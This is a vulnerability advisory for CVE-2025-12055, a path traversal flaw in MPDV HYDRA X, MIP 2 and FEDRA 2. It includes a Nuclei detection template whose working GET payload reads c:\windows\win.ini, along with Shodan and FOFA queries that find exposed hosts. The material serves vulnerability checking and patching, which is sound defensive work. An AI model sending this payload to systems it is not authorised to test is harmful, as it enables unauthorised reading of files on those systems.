MPDV Mikrolab GmbH HYDRA X, MIP 2 & FEDRA 2 - Path Traversal

highseverity

7.5CVSS score

3.8%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

MPDV Mikrolab GmbH HYDRA X, MIP 2, and FEDRA 2 <= Maintenance Pack 36 with Servicepack 8 (week 36/2025) contain an unauthenticated local file disclosure vulnerability caused by improper validation of the "Filename" parameter in the public $SCHEMAS$ resource, letting attackers read arbitrary Windows OS files, exploit requires local access.

Impact

Attackers can read arbitrary files on the Windows operating system, potentially exposing sensitive information.

Fix

Update to Maintenance Pack 36 with Servicepack 8 (week 36/2025) or later.

How to confirm it

Send: GET {{BaseURL}}/hx/resources/public/$SCHEMAS$?Filename=c%3a%5cwindows%5cwin.ini
Positive when: contains_all(body, "bit app support", "fonts", "extensions") and contains(content_type, "application/octet-stream") and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-12055 -u <target>

The full check

id: CVE-2025-12055

info:
  name: MPDV Mikrolab GmbH HYDRA X, MIP 2 & FEDRA 2 - Path Traversal
  author: theamanrawat
  severity: high
  description: |
    MPDV Mikrolab GmbH HYDRA X, MIP 2, and FEDRA 2 <= Maintenance Pack 36 with Servicepack 8 (week 36/2025) contain an unauthenticated local file disclosure vulnerability caused by improper validation of the "Filename" parameter in the public $SCHEMAS$ resource, letting attackers read arbitrary Windows OS files, exploit requires local access.
  impact: |
    Attackers can read arbitrary files on the Windows operating system, potentially exposing sensitive information.
  remediation: |
    Update to Maintenance Pack 36 with Servicepack 8 (week 36/2025) or later.
  reference:
    - https://seclists.org/fulldisclosure/2025/Oct/28
    - https://nvd.nist.gov/vuln/detail/CVE-2025-12055
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-12055
    epss-score: 0.03827
    epss-percentile: 0.9017
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"MPDV"
    fofa-query: body="MPDV"
  tags: cve,cve2025,lfi,mpdv,mikrolab,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/hx/resources/public/$SCHEMAS$?Filename=c%3a%5cwindows%5cwin.ini"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "bit app support", "fonts", "extensions")'
          - 'contains(content_type, "application/octet-stream")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from